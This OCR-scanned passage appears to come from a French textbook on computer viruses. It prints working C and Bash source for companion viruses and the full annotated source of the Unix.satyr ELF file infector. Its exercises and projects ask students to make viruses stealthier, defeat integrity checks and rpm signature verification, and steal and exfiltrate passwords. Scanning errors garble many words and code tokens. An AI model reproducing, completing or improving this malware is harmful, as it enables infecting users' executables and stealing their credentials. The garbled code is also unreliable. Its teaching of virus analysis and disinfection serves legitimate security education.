Le debut de la recherche recursive dans l'arborescence va dependre de l'utilisateur qui execute le virus. Dans le cas de root, qui posscde tous les droits sur la tonalite de l'arborescence, le virus commencera l'infection a partir du repertoire racine I. De plus, tout fichier infecte dans cette situation sera rendu executable pour l'ensemble des utilisateurs. Dans les autres cas (utilisateurs courants), l'infection debute depuis la racine du compte utilisateur. Nous avons donc le code suivant dans lequelles variables ne seront pas declarees; la plupart d'entre elles ont deja ete definies pour les virus vcomp_ex_v1 et vcomp_ex_v2. La gestion des erreurs ne sera pas traitee non plus: les virus precedents sont de bons exemples, sur lesquels le lecteur pourra s'appuyer.



repertoire_cache = "/tmp/. "; 1* Identification de l'utilisateur connecte *1 if(!(ch = getlogin())) exit(O); 1* Recuperation info utilisateur *1 if(!(pass = getpwnam(ch))) exit(O); 1* Si superutilisateur, Ie virus part de la racine if(strstr(ch,"root") strcpy(rep_depart, "/"); else strcpy(rep_depart, pass->pw_dir); 1* Infection recursive avec profondeur 1 *1 ftw(rep_depart, traitement, 1); 1* Appel charge finale *1 charge_finale (argv, envp); /* Transfert d'execution a l'h6te */



*1
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stcpy(ch,repertoire_cache); strcat(ch,"/"); strcat(ch,argv[O]); execve(ch, argv, envp); La procedure traitement, une fois appelcc, doit traiter tous les cas possibles en ce qui concerne I'element en cours de traitement (la cible courante). Selon la nature de cet element, l'infection proprement dite est alors effectuee comme pour le virus vcomp_ex_v2. Nous la designerons par la procedure infection(char * cible, const struct stat *etat) pour rendre le code suivant plus clair.



int traitement(const char *cible, const struct stat *etat, int attribut) {



/* Si la cible est un repertoire */ /* appel recursif */ if(attribut == FTW_D) {} /* Si la cible est un fichier */ /* elle est infectee */ else if(attribut == FTW_F) infection(cible, etat); /* dans tous les autres cas */ /* rien n'est fait */ else{} return(O); }



La procedure traitement n'appelle la procedure d'infection que pour les fichiers de type regulier. Toutefois, en raison de certains problemes de portabilite de la fonction ftw, il est recommande, dans la fonction infection elle-meme, de verifier a nouveau que la cible est de type regulier et executable (les liens symboliques peuvent, dans certains cas, etre vus comme des fichiers reguliers par ftw). En conclusion, les possibilites systeme du langage C permettent, d'une manicre simple et puissante, d'augmenter la virulence de notre virus. Lors de I'ecriture du code final de vcomp_ex_v3, il ne faudra pas oublier, comme pour les versions prcccdcntcs, de distinguer le cas de la primo-infection des autres annels de nroararnmes infectes,
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9.5 Un virus compagnon hybride : Unix. satyr Nous terminerons ce chapitre par I'etude d'un virus reel!! , Unix. satyr, ecrit par un programmeur tcheque (pseudonyme shitdown) et qui peut etre considere comme un cas tres particulier de virus compagnon, au moins pendant une phase de sa vie. Ce virus est egalement un infecteur par ajout de code des fichiers binaires Unix (format ELF). Ce virus se distingue donc d'un veritable virus compagnon, dans la mesure OU il modifie I'integrite de I'cxecutable cible. En revanche, le virus en fin d'execution transfere bien le controle a un autre fichier executable, distinct. Unix. satyr est, par consequent, un virus hybride. L'etude detaillee du code permettra par la memc occasion de presenter l'algorithmique d'un infecteur par ajout de code, en langage C, ainsi que des variantes possibles en terme de code (usage de fonctions differentes pour une action identique), par rapport aux virus de la famille vcomp_ex.



9.5.1 Description du virus Unix. satyr Le virus fonctionne de la manierc suivante : 1. II recherche des fichiers



a infecter dans dix repertoires



predefinis,



2. Pour chaque fichier cible eligible (fichier regulier executable), le virus vcrifie que le fichier n'a pas ete antcricuremcnt infecte par le memc virus. A cette fin, une chaine de copyright est recherchee :



unix.satyr version 1.0 (c)oded jan-2001 by shitdown http://shitdown.sf.cz 3. L'infection proprement dite consiste alors a creer et remplacer le fichier cible par un fichier executable contenant le virus puis le fichier cible. 4. Le controle est transfere au fichier hate apres l'infection. En effet, cette derniere se fait a partir d'un fichier infecte (code viral puis programme hate). Le fichier hate est situe en position terminale dans le fichier infecte, II est donc recopie dans un fichier temporaire distinct. 5. Le fichier temporaire est alors execute. 11



Bien qu'ecrit de facon tres malhabile et comportant de nombreuses erreurs, ce virus est interessant par son approche, simple mais efficace. Rcccrit, ameliore et optimise, il presentera un certain interet. II constitue de plus, dans sa version originale, un exemple de code reel, insuffisamment pense et teste, qui illustre le fait que tres souvent, et fort heureusement pour les professionnels de la lutte antivirale, la plupart des virus contiennent leurs propres limitations en raison de leurs erreurs de conception et de nrozrammation.
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L'existence de deux fichiers, l'un viral, l'autre constitue du code non infecte de Phote, justifie de considerer ce virus comme un hybride d'infecteur et de virus compagnon.



9.5.2 Etude detaillee du code d'Unix. satyr Ce code est compilable sous differentes plateformes Unix et portable vers d'autres environnements comme DOS ou Windows. Nous presenterons ici le code original du virus (par respect pour son auteur), sans les options de debuggage (afin de ne pas alourdir inutilement le code) et nous avons remplace les quelques commentaires, en anglais, de son auteur, par nos propres commentaires, plus detailles et en francais. Le lecteur trouvera, sur le CDROM accompagnant cet ouvrage, le fichier original tel qu'il a ete diffuse par son createur. La plupart des structures et fonctions du langage C utilisees ici ont deja ete vues. Nous ne detaillerons donc que celles rencontrees pour la premiere fois. Ce virus presente de nombreuses limitations et erreurs de conception dont l'analyse sera laissee a titre d'exercice. Nous signalerons au passage, cependant, les plus importantes d'entre elles. Le code viral debute ainsi.



/* Inclusion des bibliotheque */ #include #include #include #include #include #include /* Definition de constantes */ #define path_cnt 10 #define hard_size 8192 #define blocksize hard size #define mark_len sizeof(mark) /* Definition des variables */ /* Chaine de copyright */ char mark[] = "unix.satyr version 1.0 (c)oded jan-2001 by shitdown, http://shitdown.sf.cz''; /* Declaration des variables



~lobales



*/
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/* Repertoire cibles pour l'infection */ char *paths [path_cnt] = { ". ", " .. ", 11- / " , 11- /bin" , 11- /sbin", "/bin", "/sbin", "/usr/bin", "/usr/local/bin", l/ us r / bi n/ X11"} ; /* Variables tampon */ char virus[hard_size]; char buffer[blocksize]; Notons que la chaine de copyright constitue en soi une signature. L'en-tete de programme donne en dur la taille du virus et la liste des repertoires OU chercher des fichiers a infecter. Dans ce dernier cas, l'auteur commet une grave erreur : les repertoires /bin, /sbin, /usr/bin, /usr/local/bin et /usr/bin/X11 ne sont pas, a moins d'une erreur fatale d'administration, accessibles en ecriturc pour les utilisateurs.



/* Debut du code viral */ int main(int argc, char *argv[], char *envp[]) {



/* Declaration des variables locales */ struct dirent **namelist; struct stat stats; int i, j, n; char *filename, *tmp; long readcount; FILE *fi, *ftmp; /* Ouverture et lecture du fichier viral appelant */ FILE *f = fopen(argv[O] , "rb"); if((f) && (fread(virus, hard_size, 1, f)) ) {



/* parcours de tous les repertoires cibles */ for(i = 0; i < path_cnt; i++) {



La liste des repertoires cibles est contenu dans le tableau paths. Pour chacun des fichiers contenu dans ces repertoires se deroule une phase de preparation de l'infection : parcours du repertoire cible courant, calcul de la taille de chaque fichier cible et recuperation de donnees diverses. Ici, deux variantes, par rapport a ce qui a ete vu avec les virus vcomp_ex, sont a signaler (nous laisserons le soin au lecteur d'en comparer les avantages et inconvcnients resnectifs) :
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- le parcours du repertoire pour en rechercher les fichiers cibles utilise la fonction de la bibliotheque dirent (pour plus de details sur cette fonction, consulter la page man de cette fonction ou [26, page 518-519]). int scandir(const char *dir, struct dirent ***namelist, int(*selection)(const struct dirent *), int(*compar)(const struct dirent **, const struct dirent **)); Cette fonction permet de selectionner tout (second argument == pointeur nul) ou partie (second argument == pointeur non nul) d'un repertoire (premier argument), et d'effectuer un tri, sur cette selection, avec une fonction de type compar, cette derniere etant le plus souvent la fonction int alphasort (cons t void *a, const void *b) ;. - la creation de nom du fichier cible en cours d'infection est realisee grace a la fonction int sprintf (char *str, const char *f ormat, ... ); Cela offre l'avantage d'un code plus compact par rapport a l'usage des fonctions strcpy et strcat.



/* Parcours du repertoire cible courant */ /* Retourne Ie nombres d'entrees de ce repertoire */ n = scandir(paths[i], &namelist, 0, alphasort); /* Gestion des erreurs : repertoire vide, passage au suivant */ if(n < 0) continue; /* Parcours du repertoire */ /* Pour chaque fichier */ for(j=O; j < n; j++) {



/* Calcul de la taille du nom du fichier cible */ /* et allocation du tableau contenant son nom */ filename = malloc(strlen(paths[i])+ strlen(namelist[j]->d_name)+2); /* Creation du nom (avec chemin absolu) du fichier */ sprintf(filename,"%s/%s",paths[i] ,namelist[j]->d_name); /* Recuperation des informations du fichier */ if (stat (filename , &stats) < 0) {



/* Gestion des erreurs si echec de la recuperation */ /* et passage au fichier suivant */ free(filename); free(namelistrnl):
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continue; }



/* Est-ce un fichier regulier executable ? */ if((stats.st_mode & S_IFREG) && (stats.st_mode & (S_IXUSR I S_IXGRP I S_IXOTH))) {



Cette partie contient plusieurs erreurs susceptibles de limiter l'action du virus et de le rendre plus facilement detectable. Leur recherche sera laissee a titre d'exercice. Commence alors l'infection pour chaque fichier eligible. Elle utilise un fichier temporaire tmp, dont le nom est cree directement par la fonction char *tempnam(const char *dir, const char *prefixe) ; de la bibliotheque stdio . h. Lorsque le premier champ est le pointeur nul, le repertoire contenu dans la variable d'environnement TMPDIR est utilise; si cette derniere n'est pas definie, le repertoire designe par la constante P_tmpdir dans stdio. h (en general tmp) est alors considere.



/* Debut de l'infection */ /* Creation d'un fichier temporaire */ /* et tentative de changer les droits du fichier */ /* avec gestion des erreurs */ if((!(tmp = tempnam(NULL, argv[O]))) I I (chmod(filename, S_IRUSR I S_IWUSR) < 0)) {



/* gestion des erreurs et passage */ /* au fichier suivant */ if(tmp) free(tmp); free(filename); free(namelist[n]); continue; }



/* Renommage du fichier cible en cours */ /* avec Ie nom du fichier temporaire */ if (rename (filename , tmp) < 0) {



/* gestion des erreurs et passage */ /* au fichier suivant */ chmod(filename, stats.st_mode); free(tmp); free(filename):
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free(namelist[n]); continue; }



Ensuite, le virus vcrifie si le fichier cible en cours n'est pas deja infecte, Pour cela, la signature contenue dans le tableau mark est recherchee, Le virus vorifie (un peu trop tard) qu'il ne s'agit pas d'un script executable!".



/* Ouverture du fichier cible en cours */ ftmp = fopen(tmp, "rb"); if (ftmp) {



/* Verification d'une infection anterieure */ memset(buffer, 0, blocksize); readcount = fread(buffer, 1, blocksize, ftmp); /* S'agit-il d'un script */ if (buffer [0] == '#') {



/* si oui, gestion de l'erreur */ /* par simulation d'une erreur d'ouverture */ fclose(ftmp); ftmp = NULL; }



else if (readcount > mark_len) {



/* Sinon la signature est-elle contenue dans mark[ ] */ char *p; for(p = buffer;p < (buffer+blocksize-mark_len);p++) if (!strcmp(p,mark)) {



/* la signature est presente */ /* simulation d'une erreur d'ouverture */ fclose(ftmp); ftmp = NULL; break; } } } 12



Le lecteur discutera de I'inutilite de cette verification.
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En cas de non-infection anterieure, ou si le fichier n'est pas un script, alors le pointeur sur le fichier ftmp est non nul et l'infection peut se poursuivre.



if (! f tmp) /* Si Ie fichier en cours ne doit pas etre infecte */ {



/* Annulation des operations precedentes */ rename (tmp, filename); chmod(filename, stats.st_mode); free(tmp); free(filename); free(namelist[n]); continue; }



/* sinon creation d'un nouveau fichier hate */ fi = fopen(filename, "wb"); /* Copie du virus dans Ie fichier hate */ fwrite (virus , hard_size, 1, fi); /* Puis du fichier cible a la suite */ fwrite(buffer, 1, readcount, fi); while(readcount == blocksize) {



readcount = fread(buffer, 1, blocksize, ftmp); fwrite(buffer, 1, readcount, fi); }



/* Fermeture des fichiers */ fclose(fi); fclose(ftmp); /* Attribution des droits originaux */ /* de la cible au nouvel hate */ chmod(filename,stats.st_mode); /* supression du fichier temporaire */ unlink(tmp); free(tmp); }



/* Fin de l'infection */ free(filename); free(namelist[n]); }



free(namelist):tt
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Une fois l'infection termincc pour tous les fichiers cibles, il reste a transferer le controle au programme hate. Cela se fait en utilisant un fichier temporaire.



/* Transfert de contrale au fichier hate */ /* Creation d'un fichier temporaire */ tmp = tempnam(NULL, argv[O]); fi = fopen(tmp,"wb"); /* Le fichier hate original (avant infection) */ /* est recree */ do { readcount = fread(buffer, 1, blocksize, f); fwrite(buffer, 1, readcount, fi); } while (readcount == blocksize); fclose(fi); fclose(f); /* Attribution des droits en execution */ chmod(tmp, S_IXUSR); /* et tranfert de contrale */ execve(tmp, argv, envp); return 0; }



Le lecteur remarquera que le passage a un fichier temporaire est mal gere. En effet, chaque execution d'un fichier infecte generera un fichier temporaire. Ces fichiers sont autant de traces analysables susceptibles de trahir la presence du virus. II est necessaire d'effacer ce fichier temporaire mais l'appel a la commande execve ne le permet pas. II faut donc faire appel a d'autres fonctions (voir exercices). Dans le cadre du polymorphisme des noms de fichiers, l'usage des fonctions tempnam, mktemp ou mkstemp est particulierement interessant. En effet, les noms de fichiers produits offrent une variabilite interessante, en particulier pour la fonction mkstemp. Pour plus de details, consulter les pages man de ces fonctions.



9.6 Conclusion Nous avons presente en detail I'algorithmique de base des virus fonctionnant par accompagnement de code. En considerant des aspects specifiques a l'environnement considere (systeme d'exploitation et./ou langage de proerammntion utilise). il sera nossible damelorier les virus de cette famille et
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de les rendre pratiquement indetectables, en particulier si leur virulence est Iimitee, comme dans le cas du virus vcomp_ex_vi. Rien qu'en considerant la gestion avancee des entrees-sorties du langage C systeme (voir [26, chapitre 30]), le lecteur disposera deja d'impressionnantes possibilites. Ce dernier pourra egalement se reporter a [112] pour avoir une presentation technique detaillee de l'algorithmique des virus compagnons pour Mac OS X.



Exercices 1. Programmer Ie virus vcomp_ex_vi en langage Bash. 2. Programmer une version recursive du virus vcomp_ex_v3. Chaque appel recursif a la procedure d'infection intervient pour tout nouveau (sous-) repertoire ou propager l'infection. 3. Si l'utilisateur vient a recompiler un programme deja infecte, expliquer pourquoi le virus vcomp_ex_v2 (et sa variante generalisee vcomp_ex_v3) ne parviennent pas a reinfecter ce programme. Modifiez alors vcomp_ex_v2 afin de prendre en compte le cas de la recompilation. 4. Programmez en langage bash, un script de detection et de desinfection specifique au virus vcomp_ex_v2. 5. Le code du virus compagnon UNIX_Companion. a, ecrit en langage bash (voir le chapitre 8), est le suivant :



# Companion for file in * ; do if test -f $file && test -x $file && test -w $file; then if file $file I grep -s 'ELF' > /dev/null; then mv $file .$file head -n 9 $0 > $file fi; fi done .$0 Expliquer le fonctionnement de ce virus et en detailler les points faibles et les points forts. La version b de ce virus a le code suivant :



#!/bin/sh for F in * do
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Les virus compagnons if [ -f $F ] && [ -x $F ] && [ "$(head -c4 $F 2>/dev/null)" then cp $F .$F -a 2>/dev/null head -10 $0 > $F 2>/dev/null fi done ./.$(basename $0)



"ELF" ]



Expliquer le fonctionnement de cette seconde version et la comparer a la version a. Ecrire un script de desinfection specifique qui detecte ces deux virus et desinfecte tous les fichiers infectes, 6. Pour les versions presentees dans cette section, la duplication se fait par renommage ou deplacement de la cible (qui, de fait, devient un hate) et la creation d'un fichier viral portant le memc nom que la cible. Une autre solution consisterait a utiliser la fonction int link (const char *ancien_nom, const char *nouveau_nom); de la bibliotheque unistd. h. Cette fonction cree un nouveau lien physique sur un fichier deja existant. Or, cette methode n'est seduisante qu'en apparence et presente de nombreux inconvcnients. Les detailler et expliquer pourquoi la technique presentee dans ce chapitre est preferable. 7. Dans la section 9.2.1, la duplication du virus vcomp_ex utilise la fonction int system(const char *commande) ;. Ecrire une variante de la routine de copie virale utilisant les fonctions FILE *popen(const char *commande, const char *type); int pclose(FILE *flux); de la bibliotheque stdio. h. Comparer les deux solutions. 8. Dans la section 9.3.1, le virus ne traite que le cas d'un fichier . bashrc active par le fichier /etc/profile a l'ouverture de la session du shell. Modifier le virus pour traiter (optimalement) les autres cas : a) le fichier . bashrc est absent: l'utilisateur n'a aucun fichier de configuration et la configuration par defaut /etc/profile seule, est utilisee ; b) les fichiers . bash_prof ile et . bashrc existent; c) seulle fichier . bash_profile existe. Le fichier . bash_logout contient les instructions devant etre effectuees lors de la fermeture de la session. Modifier le virus afin qu'il restaure le fichier . bashrc initial au moment de cette fermeture. Quel est I'interet de cette variante et comment modifier. en conseouence. le virus Dour
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qu'a l'ouverture suivante, les programmes infectes fonctionnent sans probleme ? 9. La variable d'environnement PATH peut etre modifiee, comme dans le cas du virus vcomp_ex_v1, en utilisant d'autres techniques. L'une d'elles consiste a utiliser les fonctions systemes suivantes, de la bibliotheque stdlib.h: char *getenv(const char *nom); int setenv(const char *nom, const char *valeur, int mode\_remplacement); void unsetenv(const char *nom); int putenv(char *chaine); ainsi que le tableau extern char **environ; decrivant l'environnement de l'utilisateur. Chaque element de ce tableau est une chaine ayant la forme nom_variable_environnement=valeur. Etudier ces commandes et rcecrire la partie du virus vcomp_ex_v1 modifiant la variable PATH en les utilisant. Quelles sont les avantages et inconvcnients de cette version? 10. Modifier le virus vcomp_ex_v1 afin que de copie en copie, sa virulence ne soit pas restreinte par un accroissement de sa propre taille (rappel : la taille du virus a la generation test egale a la taille du programme infecte a la generation t - 1 augmcntec de la difference de taille de ce dernier avec la nouvelle cible). 11. Reccrirc le virus vcomp_ex_v1 de facon a pouvoir lancer une charge finale, apres avoir transfere le controle au programme cible appele (utiliser la primitive fork()). En particulier, dans le cas du virus vcomp_ex_v2, le modifier pour que le fichier cible soit deplacc tout en perdant ses droits en execution. Ces derniers sont restaures juste avant le transfert de controle, et uniquement a ce moment-la, puis il les perd immediatement apres la projection en memoirc. Quel est I'interet de proceder ainsi? 12. Lors de l'infection proprement dite par le virus vcomp_ex_v2, le virus deplace le fichier cible dans le repertoire cache au lieu de l'y copier. Expliquer pourquoi l'inverse aurait cependant permis une gestion optimale des erreurs eventuelles pour cette phase. L'utilisation de la fonction utime, pour restaurer les dates de dernier acces et de derniere modification se fait sans gestion des eventuelles erreurs. Quelles sont les erreurs possibles? Hepresentent-elles un risque dans le cas du virus vcomp_ex_v2 ? Modifier legerement le virus afin de traiter les erreurs de cette fonction. Memc question concernant l'usage de la fonction chmod pour ce virus. En narticulier. exnliauer nourouoi la commande CD est utilisee au lieu
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de la commande mv pour restaurer la cible en cas d'erreur de la fonction chmod.



13. Expliquer pourquoi le code du virus X23, rajoutant le nombre d'octets (non aleatoires) necessaires pour restaurer la taille initiale de la cible (voir section 9.3.2), constitue une grave faiblesse vis-a-vis des antivirus. D'ou viennent ces octets? Ecrire un programme en C, exploitant cette faiblesse. 14. Considerons la fonction d'antocorrelation calculee sur une sequence de bits 8 == (80,81, ... ), periodique de longueur N et un decalage d'ellememe de T positions. Cette fonction est donnee par la formule suivante 1
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avec 0 ~ T ~ N -1. Cette fonction mesure le degre de similitude entre la sequence 8 et une version de cette sequence decalee de T positions. Si la sequence est aleatoire, de periode N, alors la valeur IN x C(T)I est faible pour toutes les valeurs de T telles que 0 < T < N et maximale pour T == o. Expliquer pourquoi une detection antivirale basee sur la mesure de I'autocorrelation de la sequence binaire constituee d'un fichier infecte (ou non) n'est pas satisfaisante et est susceptible de provoquer un taux significatif de fausses alarmes. Programmer un test de detection base sur le calcul de I'autocorrelation d'une suite binaire. Appliquer ce test sur un fichier infecte par le virus X23 puis sur un fichier infecte par le virus vcomp_ex_v1. Comparer et conclure. Rappel : le nombre de bits differents entre une suite 8 de n bits et une version decalee d'elle-meme de T positions est donne par l'expression n-T-1
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L'estimateur utilise est alors
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II suit une loi normale centree reduite des que n - T 2:: 10. Les valeurs faibles ou les valeurs fortes de A(T) etant peu probables, un test bilateral doit etre utilise (voir [75] pour plus de details). 15. Programmer en totalite le virus vcomp_ex_v3, en utilisant d'abord la fonction ftw nuis la fonction nftw.
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16. Indiquer quels sont les defauts et bugs du virus Unix. satyr. Modifier ce virus afin de les corriger, de le rendre plus furtif (en vous inspirant du virus vcomp_ex_v2) et d'inclure le traitement de la primo-infection. Ecrire ensuite un programme de detection et de desinfection specifique pour ce virus.



Projets d'etudes Contournement d'un controle d'integrite Ce projet devrait occuper un eleve pendant trois a cinq semaines. Un utilisateur dispose d'un antivirus fonctionnant par controle dintegrite (voir section 6.2). Pour chaque fichier executable existant, une empreinte numerique est calculee a l'aide de la fonction de hachage MD5 [194]. L'empreinte est ensuite stockee sous forme chiffree par RC4 [197] (clef de 128 bits a laquelle sont additionnes, bit a bit, modulo 2, les 128 derniers bits du fichier executable dont on calcule l'empreinte; on supposera, pour plus de simplicite, que l'utilisateur doit saisir cette clef lors du lancement du logiciel antivirus, ce dernier n'agissant qu'en mode statique). Le but de ce projet est d'ecrire un virus binaire (voir chapitre 5 pour la definition) qui va permettre de contourner cet antivirus. II est compose: - d'un virus compagnon qui permet de recuperer cette clef (vous pourrez vous inspirer du virus presente dans le chapitre 16). - d'un second virus fonctionnant par ajout de code, en langage Bash (voir chapitre 8), qui infecte les scripts uniquement si la clef a pu etre rccupcrce par le premier virus (il faudra reflechir, en particulier, a la facon dont les deux virus vont echanger cette information). Dans ce cas, aprcs l'infection, le second virus recalcule l'empreinte, la chiffre avec la clef et substitue la nouvelle empreinte a l'ancienne.



Contournement du controle de signature de RPM Ce projet devrait occuper un eleve pendant trois a cinq semaines. La commande rpm permet, pour differentes distributions de Linux, l'installation et la manipulation de paquetages logiciels. L'utilisateur a, entre autres options, la possibilite d'effectuer un controle de signature du paquetage, pour determiner s'il n'a pas ete modifie (integrite) et s'il provient d'une source de confiance (signature proprement dite). Cette fonctionnalite est utile. en narticulier. Dour les loziciels telecharae» sur Internet. L'inteerite est
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assuree par la fonction de hachage MD5 [194] et la signature par le logiciel cryptographique libre GnuPG (la clef publique est generalement localisee dans les repertoires Iroot/.gnupg et lusr/lib/rpm/gnupgl (distribution SuSe)). Le but de ce projet est de programmer un virus compagnon furtif infectant uniquement I'executable Ibin/rpm. La charge finale consiste a indiquer que la signature du paquetage fourni en argument selon la syntaxe suivante :



rpm --checksig .rpm est toujours valide, meme en cas d'origine douteuse ou de modification d'in-



tegrit«. Ce virus, que nous nommerons VI, sera utilise ensuite dans un virus binaire attaquant les fichiers source (virus de code source prcscntes dans la section 5.4.5). Vous programmerez ce virus, V2 , de code source, realisant les fonctions suivantes :



1. V2 infecte les fichiers source en langage C (on suppose que l'utilisateur conserve ces fichiers directement dans un fichier de type rpm). 2. V2 rajoute ensuite une charge finale (Iaissee au libre choix de I'elcvc}. 3. V2 recompile enfin le fichier source infecte et substitue le nouveau binaire a l'ancien. Lors du processus d'infection, quelles verifications imperatives V2 doit-il effectuer? Rappel: il s'agit d'un virus binaire. Expliquez pourquoi.



Recuperation de mot de passe Ce projet devrait occuper un eleve pendant trois a quatre semaines. II s'agit de programmer un virus compagnon infectant uniquement les commandes lusr Ibin/passwd (changement du mot de passe utilisateur), lusr/bin/rlogin (connexion sur un ordinateur distant), lusr/bin/telnet (communication entre ordinateurs utilisant le protocole TELNET) et la commande lusr/bin/ftp (transfert de fichiers entre ordinateurs). Toutes ces commandes requierent de fournir un mot de passe et un nom d'utilisateur (sauf dans le cas de la commande paaswd}. La charge finale de ce virus sera concue de facon a intercepter ces informations et ales cacher sur le disque dur (il ne faudra pas oublier de donner les droits adequats au fichier en lecture, pour que l'attaquant, censc pouvoir legitimement se connecter au systeme, puisse consulter les informations dero bees pas le virus). Une seconde version organisera l' evasion de ces donnees par le rcseau, sous forme camouflee (I'clcvc sera libre de choisir le mode de camouflaee) .
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10.1 Introduction Les vers dont la nomenclature a ete presentee dans la section 5.5.2 ne sont en fait que des virus un peu particuliers, capables d'exploiter les fonctionnalites reseaux que les autres categories de virus ignorent. Alors que les macro-virus sont vus, a juste titre, comme une varietc de virus, dits de documents, les vers ont fait l'objet d'une denomination a part, que rien ne justifie. Cela est d'autant plus surprenant, que deux des trois categories de « vers » presentees dans le chapitre 5 devraient plutot legitimement etre rattachees aux macro-virus (les macro-vers comme Melissa), aux virus de scripts (vers de courriers electroniques comme ILoveYou) ou aux virus dexecutables (comme W32/Sircam, MyDoom, Bagle ou Netsky par exemple). II est fort probable que l'impact psychologique des vers dans l'esprit des utilisateurs et des professionnels a joue un role non negligeable dans l'adoption de ce terme. Rien, cependant, ne permet de distinguer fondamentalement les vers des autres virus: les processus d'autoreproduction, de dissemination, de charge finale, les mecanismcs de furtivite et de polymorphisme... , existent chez l'un et chez l'autre. La seule difference qui pourrait etre opposee, et ainsi motiver une appellation diflerente, provient du fait que le ver, lors du processus d'autoreproduction et d'infection, n'est plus necessairement attache, materiellement, a un fichier executable present sur un support physique, et active a un moment ou a un autre. Cette propriete ri'etant valable que pour les vers de type simple. Certes, la duplication d'un ver fait le plus souvent appel a des primitives de type fork() ou exec. Mais, il est parfaitement concevable qu'un virus les utilise egalement (voir, par exemple, les exercices en fin du chapitre 9), notamment pour auto-rafraichir son propre nrocessus, dans le cas d'un virus resident (voir les exercices a la fin de ce
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chapitre). La distinction entre virus et vers n'est plus pertinente. La terminologie de ver sera cependant conservcc dans ce chapitre pour faciliter la comprehension du lecteur. Ce chapitre considerera en premier lieu les vers dit simples dont le plus illustre representant est certainement le fameux Internet Worm de 1988. Le ver Internet, bien que deja ancien, est en fait un exemple tout a fait actuel. D'un point de vue pedagogique, il represente un condense de (presque) toutes les erreurs qu'il est possible de rencontrer en securite informatique : failles logicielles (notamment, la technique de buffer overflow, tres a la mode actuellement), failles de protocole, failles de politique de securite, gestion de la crise... Toute personne interessee, professionnellement ou non, par la securite informatique des rescaux, ne peut ignorer le ver Internet. C'est la raison pour laquelle il sera presente dans la section 10.2. Depuis le ver Internet, les differents mecanismcs generiques d'action des vers simples ont pu etre identifies. Un ver simple, profite pour se dupliquer, a partir d'une machine locale infectee, d'une ou plusieurs des failles suivantes : - d'une faille logicielle sur la machine distante. L'exploitation de cette faille lui permet de s'y introduire et de gagner des privileges autorisant I'cxecution de code malveillant. Selon la nature de la faille, il y aura attente, par la machine locale infectee, d'une reponse de la part de la machine distante cible. C'est le cas d'IIS_Worm, dont le code sera detaille dans la section 10.3, de Code Red CRv2 [87] ou plus recemment du ver W32/Lovsan [95]. Pour d'autres vers comme Sapphire/Slammer exploitant un autre type de failles [39], le code s'execute directement sans dialogue entre les deux machines. - une faille de protocole. Dans ce cas, le ver profite d'un trou de securite dans les protocoles de gestion des connexions entre machines (identification basee uniquement sur l'adresse IP par exemple, dans le cas du ver Internet). - une faille d'administration. Le ver peut profiter d'une deficience d'administration de la securite concernant les connexions entrantes et sortantes (mots de passe, fichiers de configuration divers ... ) ou de configuration de certains outils (antivirus, pare-feux, par exemple). Le meilleur exemple connu est, encore une fois, celui du ver Internet. Dans ce dernier cas, la responsabilite de l'administrateur peut trouver son origine, entre autres explications, dans une veille technologique deficients ou absente (surveillance des exploits realises, des failles decouvertes et apnlications des correctifs adeouats).
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Nous prcscnterons egalement, afin d'etre relativement exhaustifs, deux autres specimens, appartenant a la categoric dite des vers d'emails (ou de messagerie) : le ver Xanax, et une transposition du celebre ver ILove You, pour Unix. Dans ce chapitre, nous avons choisi de presenter des vers reels, programmes par d'autres, afin de comprendre leur mode de fonctionnement. Dans le cadre particulier des vers simples, il faut en effet utiliser un des trois types de failles preccdcntcs. La plupart des failles connues et exploitables ont deja ete utilisees. Par consequent, reprogrammer ce que d'autres ont deja ecrit pourrait paraitre redondant.



10.2 Le ver Internet Le ver Internet, connu encore sous le nom de ver de Morris (Morris worm), a infecte le reseau Internet le 2 novembre 1988. C'est la premiere attaque d'envergure connue". Presenter ce ver, au-dela du simple interet historique, demeure essentiel car il constitue un cas d'ecole a lui tout seul. Jamais une attaque, qu'elle soit par ver ou par d'autres techniques, n'a envisage autant d'approches differentes simultanement. L'infection par ce ver, est, en fait, un resume de toutes les erreurs et betises exploitables pour mener une attaque a bien. En outre, l'attaque par le ver de Morris, a montre combien la securite du reseau Internet comportait, a I'cpoquc, de lacunes de toutes natures; cela a certainement permis une prise de conscience dans ce domaine. Le code source de ce ver etant introuvable, nous nous limiterons a une description de ses caracteristiques et de son action. Le lecteur trouvera une description detaillee du ver, de l'attaque et de son evolution (jour apres jour) dans [80,209], references sur lesquelles est basee cette section consacree au ver Internet. Une copie de la seconde reference est fournie sur le CDROM, avec l'aimable autorisation des editions Springer. L'origine de l'attaque ne semble pas avoir ete determinee avec certitude". La premiere machine infectee a ete detectee a I'universite Cornell, aux USA mais certains auteurs penchent plutot en faveur d'une origine situee au Massachusetts Institute of Technology (MIT), par infection distante a partir de I'universite de Cornell. Dans les deux cas, les pistes convergent toutes vers 1



2



Une premiere experience avait deja ete realisee en 1971, avec le ver Creeper sur le reseau Arpanet, par Bob Thomas. Malgre une relativement abondante litterature concernant le ver Internet, beaucoup d'aspects n'ont jamais vraiment ete eclaircis et ont donne lieu a des suppositions ou des internretations neu constructives.
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cette univcrsite. Elle semble incontestable dans la mesure OU l'auteur du ver, Robert T. Morris Jr 3 , etait a cette epoquc etudiant en these a Cornell. Le nombre de machines reellement infectees n'a jamais ete connu avec precision. En 1988, le reseau Internet comptait environ 60 000 ordinateurs. Sur la base du pourcentage de machines reellement infectees au M.I. T. 4 , soit environ 10 % du parc de 2000 machines, le chiffre de 6000 machines touchees au total a ete avance (par extrapolation). De nombreux sites, universitaires ou militaires, des reseaux de laboratoires de recherche medicale... , ont ete tres rapidement infectes. Les degats, par centre infecte, ont ete estimes entre 200 et 53 000 euros, selon les sites. II semble que Robert T. Morris ait agi plus par imprudence que par pure volonte de nuire, et que le ver ait rapidement echappe a son controle, II a finalement ete condamne en 1991 a trois annees de probation, 400 heures de travaux d'interet general et 10 000 dollars d'amende. Le texte complet du jugement, en appel, est disponible sur le CDROM accompagnant cet ouvrage.



